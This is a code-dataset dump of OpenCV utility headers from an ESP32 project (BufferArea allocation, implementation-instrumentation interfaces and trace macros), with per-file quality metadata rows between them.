| 3,565 | allocator_stats.impl | hpp | en | cpp | code | {"qsc_code_num_words": 482, "qsc_code_num_chars": 3565.0, "qsc_code_mean_word_length": 4.77178423, "qsc_code_frac_words_unique": 0.22406639, "qsc_code_frac_chars_top_2grams": 0.07304348, "qsc_code_frac_chars_top_3grams": 0.06956522, "qsc_code_frac_chars_top_4grams": 0.0826087, "qsc_code_frac_chars_dupe_5grams": 0.59173913, "qsc_code_frac_chars_dupe_6grams": 0.56391304, "qsc_code_frac_chars_dupe_7grams": 0.4826087, "qsc_code_frac_chars_dupe_8grams": 0.44956522, "qsc_code_frac_chars_dupe_9grams": 0.44956522, "qsc_code_frac_chars_dupe_10grams": 0.42347826, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02206655, "qsc_code_frac_chars_whitespace": 0.19915849, "qsc_code_size_file_byte": 3565.0, "qsc_code_num_lines": 117.0, "qsc_code_num_chars_line_max": 122.0, "qsc_code_num_chars_line_mean": 30.47008547, "qsc_code_frac_chars_alphabet": 0.78353765, "qsc_code_frac_chars_comments": 0.18204769, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.275, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.04012346, "qsc_code_frac_chars_long_word_length": 0.00720165, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.2375, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.275, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/buffer_area.private.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_UTILS_BUFFER_AREA_HPP
#define OPENCV_UTILS_BUFFER_AREA_HPP
#include <opencv2/core/base.hpp>
#include <opencv2/core/private.hpp>
#include <opencv2/core/utility.hpp>
#include <vector>
namespace cv { namespace utils {
//! @addtogroup core_utils
//! @{
/** @brief Manages memory block shared by muliple buffers.
This class allows to allocate one large memory block and split it into several smaller
non-overlapping buffers. In safe mode each buffer allocation will be performed independently,
this mode allows dynamic memory access instrumentation using valgrind or memory sanitizer.
Safe mode can be explicitly switched ON in constructor. It will also be enabled when compiling with
memory sanitizer support or in runtime with the environment variable `OPENCV_BUFFER_AREA_ALWAYS_SAFE`.
Example of usage:
@code
int * buf1 = 0;
double * buf2 = 0;
cv::util::BufferArea area;
area.allocate(buf1, 200); // buf1 = new int[200];
area.allocate(buf2, 1000, 64); // buf2 = new double[1000]; - aligned by 64
area.commit();
@endcode
@note This class is considered private and should be used only in OpenCV itself. API can be changed.
*/
class CV_EXPORTS BufferArea
{
public:
/** @brief Class constructor.
@param safe Enable _safe_ operation mode, each allocation will be performed independently.
*/
BufferArea(bool safe = false);
/** @brief Class destructor
All allocated memory well be freed. Each bound pointer will be reset to NULL.
*/
~BufferArea();
/** @brief Bind a pointer to local area.
BufferArea will store reference to the pointer and allocation parameters effectively owning the
pointer and allocated memory. This operation has the same parameters and does the same job
as the operator `new`, except allocation can be performed later during the BufferArea::commit call.
@param ptr Reference to a pointer of type T. Must be NULL
@param count Count of objects to be allocated, it has the same meaning as in the operator `new`.
@param alignment Alignment of allocated memory. same meaning as in the operator `new` (C++17).
Must be divisible by sizeof(T). Must be power of two.
@note In safe mode allocation will be performed immediatly.
*/
template <typename T>
void allocate(T*&ptr, size_t count, ushort alignment = sizeof(T))
{
CV_Assert(ptr == NULL);
CV_Assert(count > 0);
CV_Assert(alignment > 0);
CV_Assert(alignment % sizeof(T) == 0);
CV_Assert((alignment & (alignment - 1)) == 0);
allocate_((void**)(&ptr), static_cast<ushort>(sizeof(T)), count, alignment);
}
/** @brief Fill one of buffers with zeroes
@param ptr pointer to memory block previously added using BufferArea::allocate
BufferArea::commit must be called before using this method
*/
template <typename T>
void zeroFill(T*&ptr)
{
CV_Assert(ptr);
zeroFill_((void**)&ptr);
}
/** @brief Fill all buffers with zeroes
BufferArea::commit must be called before using this method
*/
void zeroFill();
/** @brief Allocate memory and initialize all bound pointers
Each pointer bound to the area with the BufferArea::allocate will be initialized and will be set
to point to a memory block with requested size and alignment.
@note Does nothing in safe mode as all allocations will be performed by BufferArea::allocate
*/
void commit();
/** @brief Release all memory and unbind all pointers
All memory will be freed and all pointers will be reset to NULL and untied from the area allowing
to call `allocate` and `commit` again.
*/
void release();
private:
BufferArea(const BufferArea &); // = delete
BufferArea &operator=(const BufferArea &); // = delete
void allocate_(void **ptr, ushort type_size, size_t count, ushort alignment);
void zeroFill_(void **ptr);
private:
class Block;
std::vector<Block> blocks;
void * oneBuf;
size_t totalSize;
const bool safe;
};
//! @}
}} // cv::utils::
#endif
| 4,278 | buffer_area.private | hpp | en | cpp | code | {"qsc_code_num_words": 599, "qsc_code_num_chars": 4278.0, "qsc_code_mean_word_length": 4.97662771, "qsc_code_frac_words_unique": 0.33555927, "qsc_code_frac_chars_top_2grams": 0.01811473, "qsc_code_frac_chars_top_3grams": 0.02012747, "qsc_code_frac_chars_top_4grams": 0.02113385, "qsc_code_frac_chars_dupe_5grams": 0.12210668, "qsc_code_frac_chars_dupe_6grams": 0.05233143, "qsc_code_frac_chars_dupe_7grams": 0.05233143, "qsc_code_frac_chars_dupe_8grams": 0.03287487, "qsc_code_frac_chars_dupe_9grams": 0.03287487, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01066351, "qsc_code_frac_chars_whitespace": 0.21084619, "qsc_code_size_file_byte": 4278.0, "qsc_code_num_lines": 130.0, "qsc_code_num_chars_line_max": 104.0, "qsc_code_num_chars_line_mean": 32.90769231, "qsc_code_frac_chars_alphabet": 0.87233412, "qsc_code_frac_chars_comments": 0.7000935, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.09302326, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.13953488, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.1627907, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.25581395, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/instrumentation.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_UTILS_INSTR_HPP
#define OPENCV_UTILS_INSTR_HPP
#include <opencv2/core/utility.hpp>
#include <opencv2/core/utils/tls.hpp>
namespace cv {
//! @addtogroup core_utils
//! @{
#ifdef CV_COLLECT_IMPL_DATA
CV_EXPORTS void setImpl(int flags); // set implementation flags and reset storage arrays
CV_EXPORTS void addImpl(int flag, const char* func = 0); // add implementation and function name to storage arrays
// Get stored implementation flags and functions names arrays
// Each implementation entry correspond to function name entry, so you can find which implementation was executed in which function
CV_EXPORTS int getImpl(std::vector<int> &impl, std::vector<String> &funName);
CV_EXPORTS bool useCollection(); // return implementation collection state
CV_EXPORTS void setUseCollection(bool flag); // set implementation collection state
#define CV_IMPL_PLAIN 0x01 // native CPU OpenCV implementation
#define CV_IMPL_OCL 0x02 // OpenCL implementation
#define CV_IMPL_IPP 0x04 // IPP implementation
#define CV_IMPL_MT 0x10 // multithreaded implementation
#undef CV_IMPL_ADD
#define CV_IMPL_ADD(impl) \
if(cv::useCollection()) \
{ \
cv::addImpl(impl, CV_Func); \
}
#endif
// Instrumentation external interface
namespace instr
{
#if !defined OPENCV_ABI_CHECK
enum TYPE
{
TYPE_GENERAL = 0, // OpenCV API function, e.g. exported function
TYPE_MARKER, // Information marker
TYPE_WRAPPER, // Wrapper function for implementation
TYPE_FUN, // Simple function call
};
enum IMPL
{
IMPL_PLAIN = 0,
IMPL_IPP,
IMPL_OPENCL,
};
struct NodeDataTls
{
NodeDataTls()
{
m_ticksTotal = 0;
}
uint64 m_ticksTotal;
};
class CV_EXPORTS NodeData
{
public:
NodeData(const char* funName = 0, const char* fileName = NULL, int lineNum = 0, void* retAddress = NULL, bool alwaysExpand = false, cv::instr::TYPE instrType = TYPE_GENERAL, cv::instr::IMPL implType = IMPL_PLAIN);
NodeData(NodeData &ref);
~NodeData();
NodeData& operator=(const NodeData&);
cv::String m_funName;
cv::instr::TYPE m_instrType;
cv::instr::IMPL m_implType;
const char* m_fileName;
int m_lineNum;
void* m_retAddress;
bool m_alwaysExpand;
bool m_funError;
volatile int m_counter;
volatile uint64 m_ticksTotal;
TLSDataAccumulator<NodeDataTls> m_tls;
int m_threads;
// No synchronization
double getTotalMs() const { return ((double)m_ticksTotal / cv::getTickFrequency()) * 1000; }
double getMeanMs() const { return (((double)m_ticksTotal/m_counter) / cv::getTickFrequency()) * 1000; }
};
bool operator==(const NodeData& lhs, const NodeData& rhs);
typedef Node<NodeData> InstrNode;
CV_EXPORTS InstrNode* getTrace();
#endif // !defined OPENCV_ABI_CHECK
CV_EXPORTS bool useInstrumentation();
CV_EXPORTS void setUseInstrumentation(bool flag);
CV_EXPORTS void resetTrace();
enum FLAGS
{
FLAGS_NONE = 0,
FLAGS_MAPPING = 0x01,
FLAGS_EXPAND_SAME_NAMES = 0x02,
};
CV_EXPORTS void setFlags(FLAGS modeFlags);
static inline void setFlags(int modeFlags) { setFlags((FLAGS)modeFlags); }
CV_EXPORTS FLAGS getFlags();
} // namespace instr
//! @}
} // namespace
#endif // OPENCV_UTILS_TLS_HPP
| 3,829 | instrumentation | hpp | en | cpp | code | {"qsc_code_num_words": 443, "qsc_code_num_chars": 3829.0, "qsc_code_mean_word_length": 5.46275395, "qsc_code_frac_words_unique": 0.37923251, "qsc_code_frac_chars_top_2grams": 0.0446281, "qsc_code_frac_chars_top_3grams": 0.0322314, "qsc_code_frac_chars_top_4grams": 0.0322314, "qsc_code_frac_chars_dupe_5grams": 0.0231405, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0138102, "qsc_code_frac_chars_whitespace": 0.26247062, "qsc_code_size_file_byte": 3829.0, "qsc_code_num_lines": 125.0, "qsc_code_num_chars_line_max": 218.0, "qsc_code_num_chars_line_mean": 30.632, "qsc_code_frac_chars_alphabet": 0.84313031, "qsc_code_frac_chars_comments": 0.26455994, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.09090909, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00852273, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.19480519, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.27272727, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/trace.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_TRACE_HPP
#define OPENCV_TRACE_HPP
#include <opencv2/core/cvdef.h>
namespace cv {
namespace utils {
namespace trace {
//! @addtogroup core_logging
//! @{
//! Macro to trace function
#define CV_TRACE_FUNCTION()
#define CV_TRACE_FUNCTION_SKIP_NESTED()
//! Trace code scope.
//! @note Dynamic names are not supported in this macro (on stack or heap). Use string literals here only, like "initialize".
#define CV_TRACE_REGION(name_as_static_string_literal)
//! mark completed of the current opened region and create new one
//! @note Dynamic names are not supported in this macro (on stack or heap). Use string literals here only, like "step1".
#define CV_TRACE_REGION_NEXT(name_as_static_string_literal)
//! Macro to trace argument value
#define CV_TRACE_ARG(arg_id)
//! Macro to trace argument value (expanded version)
#define CV_TRACE_ARG_VALUE(arg_id, arg_name, value)
//! @cond IGNORED
#define CV_TRACE_NS cv::utils::trace
#if !defined(OPENCV_DISABLE_TRACE) && defined(__EMSCRIPTEN__)
#define OPENCV_DISABLE_TRACE 1
#endif
namespace details {
#ifndef __OPENCV_TRACE
# if defined __OPENCV_BUILD && !defined __OPENCV_TESTS && !defined __OPENCV_APPS
# define __OPENCV_TRACE 1
# else
# define __OPENCV_TRACE 0
# endif
#endif
#ifndef CV_TRACE_FILENAME
# define CV_TRACE_FILENAME __FILE__
#endif
#ifndef CV__TRACE_FUNCTION
# if defined _MSC_VER
# define CV__TRACE_FUNCTION __FUNCSIG__
# elif defined __GNUC__
# define CV__TRACE_FUNCTION __PRETTY_FUNCTION__
# else
# define CV__TRACE_FUNCTION "<unknown>"
# endif
#endif
//! Thread-local instance (usually allocated on stack)
class CV_EXPORTS Region
{
public:
struct LocationExtraData;
struct LocationStaticStorage
{
LocationExtraData** ppExtra; //< implementation specific data
const char* name; //< region name (function name or other custom name)
const char* filename; //< source code filename
int line; //< source code line
int flags; //< flags (implementation code path: Plain, IPP, OpenCL)
};
Region(const LocationStaticStorage& location);
inline ~Region()
{
if (implFlags != 0)
destroy();
CV_DbgAssert(implFlags == 0);
CV_DbgAssert(pImpl == NULL);
}
class Impl;
Impl* pImpl; // NULL if current region is not active
int implFlags; // see RegionFlag, 0 if region is ignored
bool isActive() const { return pImpl != NULL; }
void destroy();
private:
Region(const Region&); // disabled
Region& operator= (const Region&); // disabled
};
//! Specify region flags
enum RegionLocationFlag {
REGION_FLAG_FUNCTION = (1 << 0), //< region is function (=1) / nested named region (=0)
REGION_FLAG_APP_CODE = (1 << 1), //< region is Application code (=1) / OpenCV library code (=0)
REGION_FLAG_SKIP_NESTED = (1 << 2), //< avoid processing of nested regions
REGION_FLAG_IMPL_IPP = (1 << 16), //< region is part of IPP code path
REGION_FLAG_IMPL_OPENCL = (2 << 16), //< region is part of OpenCL code path
REGION_FLAG_IMPL_OPENVX = (3 << 16), //< region is part of OpenVX code path
REGION_FLAG_IMPL_MASK = (15 << 16),
REGION_FLAG_REGION_FORCE = (1 << 30),
REGION_FLAG_REGION_NEXT = (1 << 31), //< close previous region (see #CV_TRACE_REGION_NEXT macro)
ENUM_REGION_FLAG_FORCE_INT = INT_MAX
};
struct CV_EXPORTS TraceArg {
public:
struct ExtraData;
ExtraData** ppExtra;
const char* name;
int flags;
};
/** @brief Add meta information to current region (function)
* See CV_TRACE_ARG macro
* @param arg argument information structure (global static cache)
* @param value argument value (can by dynamic string literal in case of string, static allocation is not required)
*/
CV_EXPORTS void traceArg(const TraceArg& arg, const char* value);
//! @overload
CV_EXPORTS void traceArg(const TraceArg& arg, int value);
//! @overload
CV_EXPORTS void traceArg(const TraceArg& arg, int64 value);
//! @overload
CV_EXPORTS void traceArg(const TraceArg& arg, double value);
#define CV__TRACE_LOCATION_VARNAME(loc_id) CVAUX_CONCAT(CVAUX_CONCAT(__cv_trace_location_, loc_id), __LINE__)
#define CV__TRACE_LOCATION_EXTRA_VARNAME(loc_id) CVAUX_CONCAT(CVAUX_CONCAT(__cv_trace_location_extra_, loc_id) , __LINE__)
#define CV__TRACE_DEFINE_LOCATION_(loc_id, name, flags) \
static CV_TRACE_NS::details::Region::LocationExtraData* CV__TRACE_LOCATION_EXTRA_VARNAME(loc_id) = 0; \
static const CV_TRACE_NS::details::Region::LocationStaticStorage \
CV__TRACE_LOCATION_VARNAME(loc_id) = { &(CV__TRACE_LOCATION_EXTRA_VARNAME(loc_id)), name, CV_TRACE_FILENAME, __LINE__, flags};
#define CV__TRACE_DEFINE_LOCATION_FN(name, flags) CV__TRACE_DEFINE_LOCATION_(fn, name, ((flags) | CV_TRACE_NS::details::REGION_FLAG_FUNCTION))
#define CV__TRACE_OPENCV_FUNCTION() \
CV__TRACE_DEFINE_LOCATION_FN(CV__TRACE_FUNCTION, 0); \
const CV_TRACE_NS::details::Region __region_fn(CV__TRACE_LOCATION_VARNAME(fn));
#define CV__TRACE_OPENCV_FUNCTION_NAME(name) \
CV__TRACE_DEFINE_LOCATION_FN(name, 0); \
const CV_TRACE_NS::details::Region __region_fn(CV__TRACE_LOCATION_VARNAME(fn));
#define CV__TRACE_APP_FUNCTION() \
CV__TRACE_DEFINE_LOCATION_FN(CV__TRACE_FUNCTION, CV_TRACE_NS::details::REGION_FLAG_APP_CODE); \
const CV_TRACE_NS::details::Region __region_fn(CV__TRACE_LOCATION_VARNAME(fn));
#define CV__TRACE_APP_FUNCTION_NAME(name) \
CV__TRACE_DEFINE_LOCATION_FN(name, CV_TRACE_NS::details::REGION_FLAG_APP_CODE); \
const CV_TRACE_NS::details::Region __region_fn(CV__TRACE_LOCATION_VARNAME(fn));
#define CV__TRACE_OPENCV_FUNCTION_SKIP_NESTED() \
CV__TRACE_DEFINE_LOCATION_FN(CV__TRACE_FUNCTION, CV_TRACE_NS::details::REGION_FLAG_SKIP_NESTED); \
const CV_TRACE_NS::details::Region __region_fn(CV__TRACE_LOCATION_VARNAME(fn));
#define CV__TRACE_OPENCV_FUNCTION_NAME_SKIP_NESTED(name) \
CV__TRACE_DEFINE_LOCATION_FN(name, CV_TRACE_NS::details::REGION_FLAG_SKIP_NESTED); \
const CV_TRACE_NS::details::Region __region_fn(CV__TRACE_LOCATION_VARNAME(fn));
#define CV__TRACE_APP_FUNCTION_SKIP_NESTED() \
CV__TRACE_DEFINE_LOCATION_FN(CV__TRACE_FUNCTION, CV_TRACE_NS::details::REGION_FLAG_SKIP_NESTED | CV_TRACE_NS::details::REGION_FLAG_APP_CODE); \
const CV_TRACE_NS::details::Region __region_fn(CV__TRACE_LOCATION_VARNAME(fn));
#define CV__TRACE_REGION_(name_as_static_string_literal, flags) \
CV__TRACE_DEFINE_LOCATION_(region, name_as_static_string_literal, flags); \
CV_TRACE_NS::details::Region CVAUX_CONCAT(__region_, __LINE__)(CV__TRACE_LOCATION_VARNAME(region));
#define CV__TRACE_REGION(name_as_static_string_literal) CV__TRACE_REGION_(name_as_static_string_literal, 0)
#define CV__TRACE_REGION_NEXT(name_as_static_string_literal) CV__TRACE_REGION_(name_as_static_string_literal, CV_TRACE_NS::details::REGION_FLAG_REGION_NEXT)
#define CV__TRACE_ARG_VARNAME(arg_id) CVAUX_CONCAT(__cv_trace_arg_ ## arg_id, __LINE__)
#define CV__TRACE_ARG_EXTRA_VARNAME(arg_id) CVAUX_CONCAT(__cv_trace_arg_extra_ ## arg_id, __LINE__)
#define CV__TRACE_DEFINE_ARG_(arg_id, name, flags) \
static CV_TRACE_NS::details::TraceArg::ExtraData* CV__TRACE_ARG_EXTRA_VARNAME(arg_id) = 0; \
static const CV_TRACE_NS::details::TraceArg \
CV__TRACE_ARG_VARNAME(arg_id) = { &(CV__TRACE_ARG_EXTRA_VARNAME(arg_id)), name, flags };
#define CV__TRACE_ARG_VALUE(arg_id, arg_name, value) \
CV__TRACE_DEFINE_ARG_(arg_id, arg_name, 0); \
CV_TRACE_NS::details::traceArg((CV__TRACE_ARG_VARNAME(arg_id)), value);
#define CV__TRACE_ARG(arg_id) CV_TRACE_ARG_VALUE(arg_id, #arg_id, (arg_id))
} // namespace
#ifndef OPENCV_DISABLE_TRACE
#undef CV_TRACE_FUNCTION
#undef CV_TRACE_FUNCTION_SKIP_NESTED
#if __OPENCV_TRACE
#define CV_TRACE_FUNCTION CV__TRACE_OPENCV_FUNCTION
#define CV_TRACE_FUNCTION_SKIP_NESTED CV__TRACE_OPENCV_FUNCTION_SKIP_NESTED
#else
#define CV_TRACE_FUNCTION CV__TRACE_APP_FUNCTION
#define CV_TRACE_FUNCTION_SKIP_NESTED CV__TRACE_APP_FUNCTION_SKIP_NESTED
#endif
#undef CV_TRACE_REGION
#define CV_TRACE_REGION CV__TRACE_REGION
#undef CV_TRACE_REGION_NEXT
#define CV_TRACE_REGION_NEXT CV__TRACE_REGION_NEXT
#undef CV_TRACE_ARG_VALUE
#define CV_TRACE_ARG_VALUE(arg_id, arg_name, value) \
if (__region_fn.isActive()) \
{ \
CV__TRACE_ARG_VALUE(arg_id, arg_name, value); \
}
#undef CV_TRACE_ARG
#define CV_TRACE_ARG CV__TRACE_ARG
#endif // OPENCV_DISABLE_TRACE
#ifdef OPENCV_TRACE_VERBOSE
#define CV_TRACE_FUNCTION_VERBOSE CV_TRACE_FUNCTION
#define CV_TRACE_REGION_VERBOSE CV_TRACE_REGION
#define CV_TRACE_REGION_NEXT_VERBOSE CV_TRACE_REGION_NEXT
#define CV_TRACE_ARG_VALUE_VERBOSE CV_TRACE_ARG_VALUE
#define CV_TRACE_ARG_VERBOSE CV_TRACE_ARG
#else
#define CV_TRACE_FUNCTION_VERBOSE(...)
#define CV_TRACE_REGION_VERBOSE(...)
#define CV_TRACE_REGION_NEXT_VERBOSE(...)
#define CV_TRACE_ARG_VALUE_VERBOSE(...)
#define CV_TRACE_ARG_VERBOSE(...)
#endif
//! @endcond
//! @}
}}} // namespace
#endif // OPENCV_TRACE_HPP
| 9,312 | trace | hpp | en | cpp | code | {"qsc_code_num_words": 1339, "qsc_code_num_chars": 9312.0, "qsc_code_mean_word_length": 4.77445855, "qsc_code_frac_words_unique": 0.1493652, "qsc_code_frac_chars_top_2grams": 0.14124824, "qsc_code_frac_chars_top_3grams": 0.09760676, "qsc_code_frac_chars_top_4grams": 0.05255748, "qsc_code_frac_chars_dupe_5grams": 0.59236665, "qsc_code_frac_chars_dupe_6grams": 0.52682622, "qsc_code_frac_chars_dupe_7grams": 0.45190052, "qsc_code_frac_chars_dupe_8grams": 0.38557798, "qsc_code_frac_chars_dupe_9grams": 0.35085249, "qsc_code_frac_chars_dupe_10grams": 0.26294384, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00566323, "qsc_code_frac_chars_whitespace": 0.14669244, "qsc_code_size_file_byte": 9312.0, "qsc_code_num_lines": 252.0, "qsc_code_num_chars_line_max": 157.0, "qsc_code_num_chars_line_mean": 36.95238095, "qsc_code_frac_chars_alphabet": 0.79889252, "qsc_code_frac_chars_comments": 0.19437285, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.15822785, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00119968, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01265823, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.29746835, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.31012658, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, 